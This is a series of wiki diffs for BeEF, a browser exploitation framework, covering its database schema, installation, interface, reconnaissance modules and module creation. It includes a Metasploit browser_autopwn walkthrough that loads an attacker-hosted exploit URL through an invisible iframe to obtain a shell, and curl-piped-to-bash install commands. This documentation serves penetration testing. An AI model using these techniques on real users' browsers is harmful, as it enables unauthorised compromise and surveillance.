13 | port | text | 0 | | 0
14 | has_ran | text | 0 | 'waiting' | 0
15 | path | text | 0 | | 0
16 | response_date | datetime | 0 | | 0
17 | request_date | datetime | 0 | | 0
#### interceptors
```
sqlite> PRAGMA table_info(interceptors);
```
**Result**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | ip | text | 0 | | 0
2 | post_data | text | 0 | | 0
```ruby
storage_names[:default] = 'core_results'
property :id, Serial
property :date, String, :length => 15, :lazy => false
property :status, Integer
property :data, Text
#### ipec_exploit
```
sqlite> PRAGMA table_info(ipec_exploit);
```
**User**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | name | text | 0 | | 0
2 | protocol | text | 0 | | 0
3 | os | text | 0 | | 0
```ruby
storage_names[:default] = 'extension_adminui_users'
property :id, Serial
property :session_id, String, :length => 255
property :ip, Text
#### ipec_exploit_run
```
sqlite> PRAGMA table_info(ipec_exploit_run);
```
**NetworkHost**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | launched | boolean | 0 | | 0
2 | http_headers | text | 0 | | 0
3 | junk_size | text | 0 | | 0
```ruby
storage_names[:default] = 'network_host'
property :id, Serial
property :hooked_browser_id, Text, :lazy => false
property :ip, Text, :lazy => false
property :hostname, String, :lazy => false
property :type, String, :lazy => false # proxy, router, gateway, dns, etc
property :os, String, :lazy => false
property :mac, String, :lazy => false
property :lastseen, String, :length => 15
#### logs
```
sqlite> PRAGMA table_info(logs);
```
**NetworkService**
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | logtype | text | 0 | | 0
2 | event | text | 0 | | 0
3 | date | datetime | 0 | | 0
4 | hooked_browser_id | integer | 0 | | 0
```ruby
storage_names[:default] = 'network_service'
property :id, Serial
property :hooked_browser_id, Text, :lazy => false
property :proto, String, :lazy => false
property :ip, Text, :lazy => false
property :port, String, :lazy => false
property :type, String, :lazy => false
```
#### mass_mailer
```
sqlite> PRAGMA table_info(mass_mailer);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
#### network_hosts
```
sqlite> PRAGMA table_info(network_hosts);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | ip | text | 0 | | 0
3 | hostname | text | 0 | | 0
4 | ntype | text | 0 | | 0
5 | os | text | 0 | | 0
6 | mac | text | 0 | | 0
7 | lastseen | text | 0 | | 0
#### network_services
```
sqlite> PRAGMA table_info(network_services);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | proto | text | 0 | | 0
3 | ip | text | 0 | | 0
4 | port | text | 0 | | 0
5 | ntype | text | 0 | | 0
#### option_caches
```
sqlite> PRAGMA table_info(option_caches);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | name | text | 0 | | 0
2 | value | text | 0 | | 0
#### results
```
sqlite> PRAGMA table_info(results);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | command_id | integer | 0 | | 0
2 | hooked_browser_id | integer | 0 | | 0
3 | date | datetime | 0 | | 0
4 | status | integer | 0 | | 0
5 | data | text | 0 | | 0
#### rtc_manage
```
sqlite> PRAGMA table_info(rtc_manage);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | message | text | 0 | | 0
3 | has_sent | text | 0 | 'waiting' | 0
#### rtc_module_status
```
sqlite> PRAGMA table_info(rtc_module_status);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | command_module_id | integer | 0 | | 0
3 | target_hooked_browser_id | integer | 0 | | 0
4 | status | text | 0 | | 0
#### rtc_signal
```
sqlite> PRAGMA table_info(rtc_signal);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | target_hooked_browser_id | integer | 0 | | 0
3 | signal | text | 0 | | 0
4 | has_sent | text | 0 | 'waiting' | 0
#### rtc_status
```
sqlite> PRAGMA table_info(rtc_status);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | target_hooked_browser_id | integer | 0 | | 0
3 | status | text | 0 | | 0
#### rules
```
sqlite> PRAGMA table_info(rules);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | name | text | 0 | | 0
2 | author | text | 0 | | 0
3 | browser | text | 0 | | 0
4 | browser_version | text | 0 | | 0
5 | os | text | 0 | | 0
6 | os_version | text | 0 | | 0
7 | modules | text | 0 | | 0
8 | execution_order | text | 0 | | 0
9 | execution_delay | text | 0 | | 0
10 | chain_mode | text | 0 | | 0
#### schema_migrations
```
sqlite> PRAGMA table_info(schema_migrations);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | version | varchar | 1 | | 1
#### web_cloner
```
sqlite> PRAGMA table_info(web_cloner);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | uri | text | 0 | | 0
2 | mount | text | 0 | | 0
#### xssrays_detail
```
sqlite> PRAGMA table_info(xssrays_detail);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | vector_name | text | 0 | | 0
3 | vector_method | text | 0 | | 0
4 | vector_poc | text | 0 | | 0
#### xssrays_scan
```
sqlite> PRAGMA table_info(xssrays_scan);
```
cid | name | type | notnull | default | pk
--- | --- | --- | --- | --- | ---
0 | id | integer | 1 | | 1
1 | hooked_browser_id | integer | 0 | | 0
2 | scan_start | datetime | 0 | | 0
3 | scan_finish | datetime | 0 | | 0
4 | domain | text | 0 | | 0
5 | cross_domain | text | 0 | | 0
6 | clean_timeout | integer | 0 | | 0
7 | is_started | boolean | 0 | | 0
8 | is_finished | boolean | 0 | | 0
***
[[BeEF Testing|BeEF Testing]] | [[Milestones|Milestones]]
Development-Organization.md
+4 -2
@@ -1,4 +1,6 @@
##Development Cycle
_Please Note: This is just a guideline and should be used as best practice._
## Development Cycle
This page describes the project development cycle. The process is aimed to provide the new project developer a simple and quick to understand set of instructions. The most important factor in development is proactive communication.
@@ -12,4 +14,4 @@ This page describes the project development cycle. The process is aimed to provi
***
[[Previous|WebRTC-Extension]] | [[Next|Core-BeEF-Organization]]
[[WebRTC Extension|WebRTC-Extension]] | [[Core BeEF Organization|Core-BeEF-Organization]]
Geolocation.md
+21 -12
@@ -1,14 +1,21 @@
BeEF has several methods to determine the hooked browser's location.
## Introduction
### IP Geolocation
BeEF has several methods to determine the hooked browser's physical location.
The enable IP Geolocation, download the MaxMind database. This can be achieved by using the `./update-geoipdb` script.
#### Table of Contents
* [Enabling IP Geolocation](#enabling-ip-geolocation)
* [Modules](#modules)
## Enabling IP Geolocation
To enable IP Geolocation, download the MaxMind database. This can be achieved by using the `./update-geoipdb` script:
```bash
./update-geoipdb
```
By default, the MaxMind database is installed into `/opt/GeoIP`. If you opt to install the database manually, or change the page, you'll also need to update the path in `config.yaml` to the new path:
By default, the MaxMind database is installed into `/opt/GeoIP`. If you opt to install the database manually or change the path, you'll also need to update the path in [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml):
```yaml
geoip:
@@ -16,29 +23,31 @@ By default, the MaxMind database is installed into `/opt/GeoIP`. If you opt to i
database: '/opt/GeoIP/GeoLite2-City.mmdb'
```
### Modules
## Modules
Several modules exist to determine the hooked browser's location.
**Geolocation**
#### Geolocation
The [[Geolocation|Module: Geolocation]] module will retrieve the physical location of the hooked browser using the Phonegap API.
**Get Geolocation**
#### Get Geolocation
The [[Get Geolocation|Module: Get Geolocation]] module will retrieve the physical location of the hooked browser using the Geo-location API. The user will be prompted to share their location with the hooked origin, unless the hooked origin has been white-listed previously.
**Get Physical Location**
#### Get Physical Location
The [[Get Physical Location|Module: Get Physical Location]] module will retrieve Geo-location information based on the neighboring wireless access points using commands encapsulated within a self-signed Java Applet. The user will be prompted to run the Java applet.
The [[Get Physical Location|Module: Get Physical Location]] module will retrieve Geo-location information based on the neighbouring wireless access points using commands encapsulated within a self-signed Java Applet. The user will be prompted to run the Java applet.
The details will include:
* GPS Coordinates details
* Street Address details
If the victim machine has a firewall that monitors outgoing connections (Zonealaram, LittleSnitch, etc), calls to Google maps will be alerted.
If the victim machine has a firewall that monitors outgoing connections (Zonealarm, LittleSnitch, etc), calls to Google maps will be alerted.
Note that modern Java (as of Java 7u51) will outright refuse to execute self-signed Java applets unless they're added to the exception list.
***
[[Back|Persistence]]
Home.md
+2 -2
@@ -1,6 +1,6 @@
## Overview
The Browser Exploitation Framework (BeEF) is a powerful and intuitive security tool. BeEF is pioneering techniques that provide the penetration testers with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target. **This project is developed solely for lawful research and penetration testing.**
The Browser Exploitation Framework (BeEF) is a powerful and intuitive security tool. BeEF is pioneering techniques that provide penetration testers with practical client-side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target. **This project is developed solely for lawful research and penetration testing.**
BeEF hooks one or more web browsers to the application for the launching of directed command modules. Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors. The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.
@@ -14,7 +14,7 @@ The framework contains numerous command modules that employ BeEF's simple and po
## Community
### Mailing Lists ###
To join the standard mailing list send a mail to beef-subscribe@bindshell.net.
To join the **standard** mailing list send a mail to beef-subscribe@bindshell.net.
To join the **development** mailing list send a mail to beef-dev-subscribe@bindshell.net.
Information-Gathering.md
+34 -24
@@ -1,51 +1,61 @@
_So now, you have BeEF up and running, and you have hooked your first browser. You might be wondering what the next step is._
## Introduction
_Your first step will often be to perform reconnaissance on the remote host. Which browser and plugins do they have running? Which website have you hooked?_
So now, you have BeEF up and running, and you have hooked your first browser. You might be wondering what the next step is.
_This page will provide some information on how you may begin to go about this process._
Your first step will often be to perform reconnaissance on the remote host. Which browser and plugins do they have running? Which website have you hooked?
This page will provide some information on how you may begin to go about this process.
#### Table of Contents
* [Browser Fingerprinting](#browser-fingerprinting)
* [Information Gathering on the System](#information-gathering-on-the-system)
* [User Behaviour Fingerprinting](#user-behaviour-fingerprinting)
## Browser Fingerprinting
When a browser is hooked, BeEF will automatically gather several pieces of information on the hooked browser:
When a browser is hooked, BeEF will automatically gather several pieces of information, including:
* Browser Name and Version
* Browser User Agent
* Plugins (including Java, ActiveX, VBS, Flash...)
* Windows Size
_Default information on the hooked browser gathered by BeEF:_
* Plugins (including Java, ActiveX, VBS, Flash etc)
* If Adobe Flash Player is installed
##### Default Information Gathered from a Hooked Browser:
[[Images/information-gathering1.png|align=center|width=500px]]
You can then use different plugins to gather more detailed information on the browsers:
* The module [[Browser Fingerprinting|Module:-browser-fingerprint]] uses a number of custom URLs to identify the hooked browser. It can also be useful if the user changes their user agent.
* You can complete the list of plugins with the modules [[Detect Firebug|Module:-Detect-Firebug]], [[Detect Popup Blocker|Module:-Detect-Popup-Blocker]], [[Detect Google Desktop|Module:-Detect-Google-Desktop]], [[Detect Unsafe ActiveX|Module:-Detect-Unsafe-ActiveX]]...
You can then use different plugins to gather more specific information on the browsers, for example:
* The [[Browser Fingerprinting|Module:-browser-fingerprint]] module uses a number of custom URLs to identify the hooked browser. This can be useful if you are concerned that the user has changed their user agent.
* You can complete the list of plugins with the modules [[Detect Firebug|Module:-Detect-Firebug]], [[Detect Popup Blocker|Module:-Detect-Popup-Blocker]], [[Detect Google Desktop|Module:-Detect-Google-Desktop]] or [[Detect Unsafe ActiveX|Module:-Detect-Unsafe-ActiveX]].
_Result of the Browser Fingerprinting Module:_
##### Output from the [[Browser Fingerprinting|Module:-browser-fingerprint]] Module:
[[Images/information-gathering2.png|align=center|width=400px]]
## Information Gathering on the System
By using several modules, you can also gather information on the system of the hooked browser :
* Internet Explorer has permissive restrictions allowing to detect softwares installed (module [[Detect Softwares|Module:-Detect-Software]]) and even [[registry keys|Module:-Get-Registry-Keys]] (caution, in this case the user will be prompted with an authorization message).
* If the browsers authorize Java, the module [[Get Internal IP|Module:-Get-Internal-IP]] allows to detect the IP address of the system (funnier tricks with the network will be described [[later|Network-discovery]])
* The module [[Get System Info|Module:-Get-System-Info]] uses also a Java Applet to gather detailed information on the system : operating system details, Java JVM details, IP addresses, amount of memory...
* It is also possible to retrieve the location of the user whether by using the [[geolocation API|Module:-Get-Geolocation]] or by using [[a trick requesting Google maps|Module:-Get-Physical-Location]].
* The default javscript API allows of course, to get the data stored [[in the clipboard|Module:-Get-Clipboard]].
BeEF enables you to gather information on the system of the hooked browser:
* Internet Explorer has permissions that allow system software detection (see [[Detect Softwares|Module:-Detect-Software]]) and even [[registry keys|Module:-Get-Registry-Keys]] (please note that attempting to use the registry keys module will prompt the browser's user for authorization).
* If the browser authorizes Java, the [[Get Internal IP|Module:-Get-Internal-IP]] module allows BeEF to detect the IP address of the system (don't worry, more fun network tricks will be described [[later|Network-discovery]]).
* The [[Get System Info|Module:-Get-System-Info]] module can gather additional information on the system from a Java Applet including: Operating System details, Java JVM info, IP addresses, Processor/Memory specs, and more.
* It is also possible to retrieve the location of the user by using the [[Geolocation API|Module:-Get-Geolocation]] or by using [[a trick requesting Google maps|Module:-Get-Physical-Location]].
* The default Javascript API allows access to data stored [[in the clipboard|Module:-Get-Clipboard]].
_Result of Get System Info Module:_
##### Output from [[Get System Info|Module:-Get-System-Info]] Module:
[[Images/module-get-systeminfo.png|align=center|width=500px]]
## User's behaviour fingerprinting
## User Behaviour Fingerprinting
The hooked browser also allows to discover several information on the behaviour of the user :
* By using javascript tricks, it is possible to detect if the browser has already visited [[a given URL|Module:-Detect-Visited-URL]] or [[a given domain|Module:-Get-Visited-Domains]].
* Two modules can be used to know if the user is logged [[on social networks|Module:-Detect-Social-Networks]], and if the user [[uses TOR|Module:-Detect-TOR]].
A hooked browser allows BeEF to discover information on the behaviour of the user:
* Utilising some Javascript tricks, it is possible to detect if the browser has already visited [[a given URL|Module:-Detect-Visited-URL]] or [[a given domain|Module:-Get-Visited-Domains]].
* The [[Detect Social Networks|Module:-Detect-Social-Networks]] module can identify if the user of the hooked browser has a current session on Facebook, Twitter, or Gmail.
* The [[Detect TOR|Module:-Detect-TOR]] module can identify if the user of the hooked browser is currently using TOR.
##### Output from [[Detect Social Networks|Module:-Detect-Social-Networks]] Module:
[[Images/module-detect-social-network.png|align=center|width=500px]]
***
[[Previous|Interface]] | [[Next|Social-Engineering]]
[[Interface|Interface]] | [[Social Engineering|Social-Engineering]]
Installation.md
+69 -29
@@ -1,29 +1,23 @@
The following installation instructions are suitable for **Linux and Mac OSX** operating systems.
## Introduction
The following installation instructions are suitable for **Linux** based operating systems.
In theory, BeEF should work on any operating system which can run Ruby 2.5+ and nodejs. However, only MacOS and Linux are officially supported.
In theory, BeEF should work on any operating system which can run Ruby 2.5+ and NodeJS. However, only MacOS and Linux are officially supported.
It is very easy to get BeEF setup with the basic pre-requisites.
You will not find MacOS installation instructions in this guide. They are currently high on the list of wiki tasks to be completed.
You just need the following:
#### Table of Contents
* [Prerequisites](#prerequisites)
* [Source](#source)
* [Installation](#installation)
* [BeEF on Ubuntu](#beef-on-ubuntu)
* [Start BeEF](#start-beef)
* [Testing](#testing)
* [Updating](#updating)
* Supported Ruby version
* The repository
* Run
``
./install
``
# Prerequisites
## Prerequisites
BeEF requires Ruby 2.5 (or newer). Refer to your operating system documentation
for instructions to install the latest stable version of Ruby and Ruby-dev.
```
Debian based systems
sudo apt-get install ruby ruby-dev
RedHat / Fedora
sudo yum install ruby ruby-devel
```
for instructions to install the latest stable version of Ruby and Ruby Developer Tools.
If your operating system package manager does not support Ruby version 2.5 (or newer),
you can add the brightbox ppa repository for the latest version of Ruby:
@@ -35,9 +29,11 @@ $ sudo apt-add-repository -y ppa:brightbox/ruby-ng
Alternatively, consider using a Ruby environment manager such as
[rbenv](https://github.com/rbenv/rbenv) or
[rvm](https://rvm.io/rvm/install).
These are command line tools that allow for simple management of different ruby environments.
These are command line tools that allow for simple management of different Ruby environments.
### Bundler
Bundler is essential for tracking and installing the correct gems in ruby projects.
When installing, you may get the error:
```
@@ -47,8 +43,51 @@ This just means you do not have bundler installed, to fix this simply run:
```
$ gem install bundler
```
## BeEF on Ubuntu
# Source
It's highly recommended that you use a Ruby Environment Manager when installing BeEF on Ubuntu, due to restricted permissions. Please note that you do not need to install Ruby as per the above instructions, if using Ruby Environment Manager.
In order to install BeEF and RVM you will need to install Git and Curl first, as they do not come out of the box with Ubuntu.
```bash
$ sudo apt-get install git
$ sudo apt-get install curl
```
To install RVM, firstly go to https://rvm.io/rvm/install and install the GPG keys.
Then install RVM, without dependencies:
```bash
$ \curl -sSL https://get.rvm.io | bash -s -- --autolibs=install-packages
```
Now install those dependencies as root while in the applications users $HOME directory:
```bash
$ sudo .rvm/bin/rvm requirements
```
Now that the dependencies are installed we need to install the stable releases of both RVM and Ruby. As the application user enter:
```bash
$ \curl -sSL https://get.rvm.io | bash -s stable --ruby
```
BeEF requires Ruby 2.5.x. Before navigating to the beef directory run:
```bash
$ rvm install "ruby-2.5.3"
```
Then simply reload your shell!
You can verify your installation of RVM and Ruby by running:
```bash
$ rvm -v
$ ruby -v
```
After following the above steps, simply clone the repository and install BeEF as per below.
## Source
Obtain application source code either by downloading the latest archive:
@@ -63,7 +102,7 @@ $ git clone https://github.com/beefproject/beef
```
# Installation
## Installation
Once a suitable version of Ruby is installed, run the
[install script](https://github.com/beefproject/beef/blob/master/install) in the BeEF directory:
@@ -80,18 +119,18 @@ Upon successful installation, be sure to read the
page on the wiki for important details on configuring and securing BeEF.
# Start BeEF
## Start BeEF
To start BeEF, first change the username and password config.yaml and then simply run:
```
$ ./beef
```
## I want to run the tests
## Testing
If you want to install the test pre-requisites just run
If you want to install the test pre-requisites just run:
```
``` bash
$ bundle install --with test
```
@@ -101,7 +140,8 @@ If you want to run the test suit run:
```
$ bundle exec rake
```
# Updating
## Updating
Due to the fast-paced nature of web browser development and webappsec landscape,
it's best to regularly update BeEF to the latest version.
@@ -113,4 +153,4 @@ $ git pull
```
***
[[Previous|Architecture]] | [[Next|Configuration]]
[[Introducing BeEF|Introducing BeEF]] | [[Configuration|Configuration]]
Interface.md
+19 -13
@@ -1,16 +1,22 @@
# Interface
## Introduction
BeEF's interface organises a collection of hooked browsers, commands and results. The below guide has been created to assist you in navigating BeEF and familiarising yourself with the types of exploits available.
#### Table of Contents
* [Login](#login)
* [Home Page](#home-page)
* [Hooked Browsers](#hooked-browsers)
* [Command Tab](#command-tab)
## Login
First when you arrive on the BeEF web server (default is [http://localhost:3000/ui/panel](http://localhost:3000/ui/panel) if you haven't customised as in [Configuration](https://github.com/beefproject/beef/wiki/Configuration)), you'll see the login page :
<p align="center">
[[Images/interface-login.png|align=center]]
</p>
Please enter the user and password that you configured in the config.yaml in the
``
beef/config.yaml
``
file.
Please enter the username and password that you configured in the config.yaml file in the beef directory.
## Home Page
@@ -21,9 +27,9 @@ The home page will look like this :
Starting out, you will see that there are no browsers hooked and very few options available to you so the first step is to hook a browser, for example by using one of the demo page as described in the "Getting Started" tab.
## Hooked browsers
## Hooked Browsers
After a successful hook, you will quickly seen a new hooked browser in the beef menu :
After a successful hook, you will quickly see a new hooked browser in the beef menu :
[[Images/interface-hooked.png|align=center]]
@@ -52,19 +58,19 @@ For example, let's try to get the internal IP of the hooked browser. Select "Get
[[Images/interface-command2.png|align=center]]
If you now go to the "Logs" tab, you will see two informations :
If you now go to the "Logs" tab, you will see two pieces of information:
* The browsers joined the zombie horde
* You launched the "Get Internal IP" on the hooked browser
[[Images/interface-log.png|align=center]]
You can also see that the main tab "Logs" has now a list on all actions done on all browsers :
You can also see that the main tab "Logs" has now a list on all actions completed on all browsers :
[[Images/interface-log2.png|align=center]]
Last tabs are dedicated to [[Tunneling Proxy|Tunneling]] and [[Xss Rays|Xss-Rays]] which will be addressed in next parts of this documentation.
The last tabs are dedicated to [[Tunneling Proxy|Tunneling]] and [[Xss Rays|Xss-Rays]] which will be addressed later on in this wiki.
***
[[Previous|Configuration]] | [[Next|Information-Gathering]]
[[Configuration|Configuration]] | [[Information Gathering|Information-Gathering]]
Introducing-BeEF.md
+4 -2
@@ -1,4 +1,6 @@
<p align=center>
[[Images/logo.png|align=center]]
</p>
## What is BeEF?
@@ -6,8 +8,8 @@ BeEF is short for **Browser Exploitation Framework**. It is an open source penet
As an open source project, BeEF relies on a community of developers to maintain and improve the project. If you're interested in contributing to the BeEF project, there is a whole section in the wiki dedicated to developer knowledge to help get you started! [IV - Development](https://github.com/beefproject/beef/wiki/ActiveRecord)
BeEF started in 2006 as a Ruby project, developed by a team lead by Wade Alcorn. Amid growing concerns about web-borne attacks against both web and mobile clients, BeEF allows penetration testers to assess the security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them to launch directed command modules and further attacks against the system from within the browser context.
BeEF started in 2006 as a Ruby project, developed by a team led by Wade Alcorn. Amid growing concerns about web-borne attacks against both web and mobile clients, BeEF allows penetration testers to assess the security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them to launch directed command modules and further attacks against the system from within the browser context.
***
[[Next|Installation]]
[[Installation|Installation]]
Javascript-API.md
+4
@@ -1,3 +1,5 @@
JSDoc was used for documenting this API, you can run this locally for and find the output HTML in the beef/doc/rdoc folder.
* beef.are
* beef.browser
* beef.browser.cookie
@@ -484,3 +486,5 @@ TODO
* send: function (data)
* alive
***
[[Core BeEF Organization|Core BeEF Organization]] | [[Advanced Module Creation|Advanced Module Creation]]
Metasploit.md
+29 -15
@@ -1,20 +1,34 @@
## Introduction
Metasploit is another ruby based, open source security tool used for penetration testing. It has a collection of exploits, payloads, shellcodes and more that can be used to exploit vulnerabilities.
BeEF supports Metasploit integration, and only requires some simple [[configuration|Configuration]] to get it up and running. Once running, Metasploit modules can run directly through the BeEF interface.
#### Table of Contents
* [Metasploit Modules](#metasploit-modules)
* [Browser Autopwn](#browser-autopwn)
## Metasploit Modules
Once Metasploit has been [[configured|Configuration]] and launched, Metasploit modules are directly included in the BeEF command modules tree:
After launching Metasploit, you can find its modules in the BeEF command modules tree:
<p align=center>
[[Images/msf2.png|align=center]]
</p>
When selecting a payload, all options of Metasploit modules can be directly given in the BeEF web interface :
All regular payload CLI arguments have their own form fields in the module's interface:
<p align=center>
[[Images/msf3.png|align=center]]
</p>
You then just have to wait for the exploit to work :
After executing a module, sit back and wait for the exploit to work:
<p align=center>
[[Images/msf6.png|align=center]]
</p>
## Browser Autopwn
While the feature is not directly integrated in BeEF, you can easily use the Browser Autopwn function of Metasploit with BeEF.
While not directly integrated in BeEF, you can easily use the Browser Autopwn function of Metasploit:
```
msf > use auxiliary/server/browser_autopwn2
@@ -42,7 +56,7 @@ Auxiliary action:
```
First, launch browser_autopwn or browser_autopwn2 in Metasploit and get the BrowserAutoPwn URL, for example:
First, launch `browser_autopwn` or `browser_autopwn2` in Metasploit and get the BrowserAutoPwn URL, for example:
```
msf auxiliary(browser_autopwn2) > run -z
@@ -94,14 +108,14 @@ Exploits
Note the BrowserAutoPwn URL: `http://10.1.1.175:8080/5WNrYZjr`
Then use the "Create Invisible Iframe" command module to load the autopwn webpage in an iframe:
Then use the [[Create Invisible Iframe|Module:-Create-Invisible-Iframe]] command module to load the autopwn webpage in an iFrame:
<p align=center>
[[Images/msf8.png|align=center]]
</p>
You just have to wait for a shell :
Then, just wait for a shell :
<p align=center>
[[Images/msf9.png|align=center]]
</p>
***
[[Previous|Network-discovery]] | [[Next|Tunneling]]
[[Network Discovery|Network-discovery]] | [[Tunneling|Tunneling]]
Milestones.md
+4 -1
@@ -85,4 +85,7 @@ Social engineering is considered one of the most used techniques by targeted att
The phishing component of the framework would have the ability to clone portions of websites to convince a target to enter his credentials on it. Also, with the tab nabbing feature, it is possible to direct the target to a site will look interesting but long to read. After the user switches to another tab, the whole page is changed to resemble the login page of the phished website. Now the user might think that he has been logged out of his account and trip into entering his credentials in our phishing site.
On the other hand, the social media component plays a big role in acquiring information from different social networking websites. <Add text here>
On the other hand, the social media component plays a big role in acquiring information from different social networking websites.
***
[[Database Schema|Database Schema]] | [[Command Module Configuration|Command Module Config]]
Module-creation.md → Module-Creation.md
+68 -47
@@ -1,22 +1,31 @@
## Introduction
BeEF has been designed in a modular way, it is so very easy to create a new module and add it to BeEF.
BeEF has been designed using modular development principles so that it is very easy to create and add new functionality with command modules.
Basically, modules are all stored in the [module](https://github.com/beefproject/beef/tree/master/modules) directory and are composed of three main files :
* **config.yaml** : The YAML configuration file which describe properties of the module
* **module.rb** which allow integrating the module in the BeEF web interface
* **command.js** : the JavaScript "payload" which will be executed on the hooked browser
Modules are all stored in the [beef/modules](https://github.com/beefproject/beef/tree/master/modules) directory and are composed of three main files:
* **config.yaml** - [configuration file](https://github.com/beefproject/beef/wiki/Command-Module-Config) describing the properties of a module.
* **module.rb** - enables integration of the module with the BeEF web interface
* **command.js** - the JavaScript "payload" which will be executed on the hooked browser
## <a name="config"/>YAML Configuration file
#### Table of Contents
The YAML configuration file embeds five informations :
* The name of the plugin
* [YAML Configuration File (config.yaml)](#yaml-configuration-file-configyaml)
* [Web Interface Integration (module.rb)](#web-interface-integration-modulerb)
* [Javascript Payload (command.js)](#javascript-payload-commandjs)
* [Other Useful Examples](#other-useful-examples)
* [What Now?](#what-now)
* [References](#references)
## YAML Configuration File (config.yaml)
The YAML configuration file embeds five pieces of information:
* The name of the module
* The name of the author
* The description of the plugin
* The category of the plugin
* The browsers and OS that can be targeted or not
* The description of the module
* The category of the module
* The compatible browsers and OS
For example, here is the config.yaml of the [detect_firebug](https://github.com/beefproject/beef/blob/master/modules/browser/detect_firebug/config.yaml) plugin:
For example, here is the config.yaml of the [Detect Firebug](https://github.com/beefproject/beef/blob/master/modules/browser/detect_firebug/config.yaml) module:
```yaml
beef:
module:
@@ -31,9 +40,19 @@ beef:
not_working: ["All"]
```
Regarding list of browser, three arrays can be defined : **working**, **not_working** or **user_notify**. Browsers are defined by their main letters : **"FF"**, **"O"**, **"C"**, **"S"**, **"IE"** or **"All"**.
Three arrays are used to define browser compatibility: **working**, **not_working** or **user_notify**.
It is possible to define versions exploitable by providing the minimum and maximum version of each browser. The [get_visited_url](https://github.com/beefproject/beef/blob/master/modules/browser/get_visited_urls/config.yaml) plugin is a good example :
Browsers are abbreviated using main letters:
* **"FF":** Firefox
* **"O":** Opera
* **"C":** Chrome
* **"S":** Safari
* **"IE":** Internet Explorer
* **"All":** All browsers
It is possible to define a minimum and maximum version exploitable by providing for each browser.
The [Get Visited URL](https://github.com/beefproject/beef/blob/master/modules/browser/get_visited_urls/config.yaml) module is a good example :
```yaml
target:
working:
@@ -55,19 +74,20 @@ target:
not_working: ["All"]
```
You can find more detailed information on [[this page|Command-Module-Config]].
You can find more detailed information on command module config [[here|Command-Module-Config]].
## <a name="modulerb"/>Interface with rails web GUI
## Web Interface Integration (module.rb)
Next, you need to write the _module.rb_ file which will allow to be included in the BeEF interface. Don't Panic, you won't need to be a rails guru to write such file, BeEF defined high level methods and objects to do this.
Next, you need to write the _module.rb_ file which defines how the module will appear in the BeEF interface. Don't panic, you don't need to be a Ruby expert to create this file. BeEF has defined high level methods and objects to do this, so it's more like filling out a template.
### Basic architecture
### Basic Architecture
Start out by creating the file and using this template:
Basically, your file will look like this :
```ruby
class Your_module < BeEF::Core::Command
class Your_module_name < BeEF::Core::Command
# This method allows defining the options proposed to the user in the interface
# This method defines the options proposed to the user in the web interface
def self.options
end
@@ -75,15 +95,15 @@ class Your_module < BeEF::Core::Command
def pre_send
end
# This method will be called when BeEF will receive an answer from the hooked browser
# This method will be called when BeEF receives an answer from the hooked browser
def post_execute
end
end
```
### Defining data types
### Defining Data Types
The **self.options** method should return an array which defines data proposed to the user. Here is an example with different fields taken from existing modules :
The **self.options** method should return an array which defines data proposed to the user. Here is an example with different fields taken from existing modules:
```ruby
def self.options
@@ -119,11 +139,11 @@ The **self.options** method should return an array which defines data proposed t
end
```
More detailed information on data types can be found [[here|Form-Data-Types]]
More detailed information on data types can be found [[here|Form-Data-Types]].
### Save returned information
### Save Returned Information
It is possible to save information gathered by the script in the list of information on the hooked browser. This action should be done in the **post_execute** function, for example here is the source code of the [browser_fingerprint](https://github.com/beefproject/beef/blob/master/modules/browser/browser_fingerprinting/module.rb) plugin :
It is possible to save information gathered by the script in the list of information on the hooked browser. This action should be done in the **post_execute** function, for example here is the source code of the [Browser Fingerprint](https://github.com/beefproject/beef/blob/master/modules/browser/browser_fingerprinting/module.rb) module:
```ruby
def post_execute
@@ -137,23 +157,22 @@ It is possible to save information gathered by the script in the list of informa
end
```
* **@datastore** is a dictionary of information returned by the JavaScript payload
* The function define a dictionary and save it with the **save** function.
**@datastore** is a dictionary of information returned by the JavaScript payload
